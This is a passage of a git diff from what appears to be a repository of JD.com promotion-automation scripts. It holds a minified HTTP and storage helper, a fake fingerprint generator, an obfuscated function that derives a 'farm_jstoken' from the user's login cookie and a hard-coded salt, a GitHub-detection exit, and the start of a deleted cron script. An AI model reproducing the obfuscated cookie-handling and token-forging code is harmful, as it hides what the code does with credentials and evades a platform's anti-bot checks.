t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + /** + * 模拟生成 fingerprint + * @returns {string} + */ + function generateFp() { + let e = "0123456789"; + let a = 13; + let i = ''; + for (; a--; ) + i += e[Math.random() * e.length | 0]; + return (i + Date.now()).slice(0,16) + } + var _0xod8='jsjiami.com.v6',_0x2cf9=[_0xod8,'SsOTGQU0','w5fDtsOZw7rDhnHDpgo=','w47DoV4CZsK7w6bDtAkyJsOJexNawqZnw6FTe0dQw63DlHlvGMKBw4rDs8OYwoEWD0ML','VRFwZ8KG','H2jCkCrDjw==','bMO0Nigr','w5fDlkwEZg==','w6DCkUbDjWMz','wrYhHTQR','w5vDrG4SccK0w6/Duw==','w6HClVzDiX8=','5q2P6La95Y6CEiDCkMOgwrcr5aOj5Yes5LqV6Kai6I6aauS/jeebg1YLw5RSGy7Cm3M9QuWSlOmdsuazmOWKleWPs0PDkcOgPg==','WjsjIieSanSTdXmiuZb.EncDom.v6=='];(function(_0x30e78a,_0x12a1c3,_0x4ca71c){var _0x40a26e=function(_0x59c439,_0x435a06,_0x70e6be,_0x39d363,_0x31edda){_0x435a06=_0x435a06>>0x8,_0x31edda='po';var _0x255309='shift',_0x4aba1a='push';if(_0x435a06<_0x59c439){while(--_0x59c439){_0x39d363=_0x30e78a[_0x255309]();if(_0x435a06===_0x59c439){_0x435a06=_0x39d363;_0x70e6be=_0x30e78a[_0x31edda+'p']();}else if(_0x435a06&&_0x70e6be['replace'](/[WIeSnSTdXuZbEnD=]/g,'')===_0x435a06){_0x30e78a[_0x4aba1a](_0x39d363);}}_0x30e78a[_0x4aba1a](_0x30e78a[_0x255309]());}return 0x8dbb4;};return _0x40a26e(++_0x12a1c3,_0x4ca71c)>>_0x12a1c3^_0x4ca71c;}(_0x2cf9,0x6e,0x6e00));var _0x5108=function(_0x4dc255,_0x3cb8bc){_0x4dc255=~~'0x'['concat'](_0x4dc255);var _0x2e664b=_0x2cf9[_0x4dc255];if(_0x5108['xFLNEr']===undefined){(function(){var _0xfc2aa4=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x26458d='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0xfc2aa4['atob']||(_0xfc2aa4['atob']=function(_0x509ed4){var _0x2e5ed8=String(_0x509ed4)['replace'](/=+$/,'');for(var _0x5f2c3c=0x0,_0x5a7e73,_0x42fadc,_0x50b6c7=0x0,_0x2de292='';_0x42fadc=_0x2e5ed8['charAt'](_0x50b6c7++);~_0x42fadc&&(_0x5a7e73=_0x5f2c3c%0x4?_0x5a7e73*0x40+_0x42fadc:_0x42fadc,_0x5f2c3c++%0x4)?_0x2de292+=String['fromCharCode'](0xff&_0x5a7e73>>(-0x2*_0x5f2c3c&0x6)):0x0){_0x42fadc=_0x26458d['indexOf'](_0x42fadc);}return _0x2de292;});}());var _0x503f7f=function(_0x517424,_0x3cb8bc){var _0x5bb1d7=[],_0x204abf=0x0,_0x50c70e,_0x376d53='',_0x19ba11='';_0x517424=atob(_0x517424);for(var _0x2212a4=0x0,_0x34e1ad=_0x517424['length'];_0x2212a4<_0x34e1ad;_0x2212a4++){_0x19ba11+='%'+('00'+_0x517424['charCodeAt'](_0x2212a4)['toString'](0x10))['slice'](-0x2);}_0x517424=decodeURIComponent(_0x19ba11);for(var _0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x5bb1d7[_0x5372ab]=_0x5372ab;}for(_0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab]+_0x3cb8bc['charCodeAt'](_0x5372ab%_0x3cb8bc['length']))%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;}_0x5372ab=0x0;_0x204abf=0x0;for(var _0x30875f=0x0;_0x30875f<_0x517424['length'];_0x30875f++){_0x5372ab=(_0x5372ab+0x1)%0x100;_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab])%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;_0x376d53+=String['fromCharCode'](_0x517424['charCodeAt'](_0x30875f)^_0x5bb1d7[(_0x5bb1d7[_0x5372ab]+_0x5bb1d7[_0x204abf])%0x100]);}return _0x376d53;};_0x5108['NgRmMn']=_0x503f7f;_0x5108['CiKmfm']={};_0x5108['xFLNEr']=!![];}var _0x15f777=_0x5108['CiKmfm'][_0x4dc255];if(_0x15f777===undefined){if(_0x5108['GhDaFS']===undefined){_0x5108['GhDaFS']=!![];}_0x2e664b=_0x5108['NgRmMn'](_0x2e664b,_0x3cb8bc);_0x5108['CiKmfm'][_0x4dc255]=_0x2e664b;}else{_0x2e664b=_0x15f777;}return _0x2e664b;};function getJxToken(){var _0x3565bd={'AShns':_0x5108('0','U*Pv'),'ehytr':function(_0x50bf17,_0x53078a){return _0x50bf17<_0x53078a;},'GoCYd':function(_0x136745,_0x5686db){return _0x136745(_0x5686db);},'xUqbe':function(_0x1ea9c8,_0x5b6c4e){return _0x1ea9c8*_0x5b6c4e;}};function _0x23cb77(_0x378208){let _0x36ad34=_0x3565bd[_0x5108('1','cqej')];let _0x3ba0b7='';for(let _0x24b162=0x0;_0x3565bd[_0x5108('2','1#C#')](_0x24b162,_0x378208);_0x24b162++){_0x3ba0b7+=_0x36ad34[_0x3565bd[_0x5108('3','Hq%O')](parseInt,_0x3565bd[_0x5108('4','U*Pv')](Math['random'](),_0x36ad34[_0x5108('5','8QnT')]))];}return _0x3ba0b7;}return new Promise(_0x2ef875=>{let _0x9ac908=_0x3565bd[_0x5108('6','x)1A')](_0x23cb77,0x28);let _0x256650=(+new Date())[_0x5108('7','U*Pv')]();if(!cookie[_0x5108('8','8QnT')](/pt_pin=([^; ]+)(?=;?)/)){console['log'](_0x5108('9','Hq%O'));_0x3565bd['GoCYd'](_0x2ef875,null);}let _0x4e1006=cookie[_0x5108('a','8#od')](/pt_pin=([^; ]+)(?=;?)/)[0x1];let _0x57bff6=$['md5'](''+decodeURIComponent(_0x4e1006)+_0x256650+_0x9ac908+'tPOamqCuk9NLgVPAljUyIHcPRmKlVxDy')[_0x5108('b',']OsH')]();_0x3565bd['GoCYd'](_0x2ef875,{'timestamp':_0x256650,'phoneid':_0x9ac908,'farm_jstoken':_0x57bff6});});};_0xod8='jsjiami.com.v6'; + !function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A}(this); + // prettier-ignore + function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_cfd_loop.js b/jd_cfd_loop.js deleted file mode 100644 index d00c09b93..000000000 --- a/jd_cfd_loop.js +++ /dev/null @@ -1,444 +0,0 @@ -/* -京喜财富岛热气球 -cron 30 0-23/3 * * * jd_cfd_loop.js -活动入口:京喜APP-我的-京喜财富岛 -已支持IOS双京东账号,Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -============Quantumultx=============== -[task_local] -#京喜财富岛热气球 -30 0-23/3 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd_loop.js, tag=京喜财富岛热气球, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jxcfd.png, enabled=true -================Loon============== -[Script] -cron "30 0-23/3 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd_loop.js,tag=京喜财富岛热气球 -===============Surge================= -京喜财富岛热气球 = type=cron,cronexp="30 0-23/3 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd_loop.js -============小火箭========= -京喜财富岛热气球 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd_loop.js, cronexpr="30 0-23/3 * * *", timeout=3600, enable=true - */ -!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { - var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 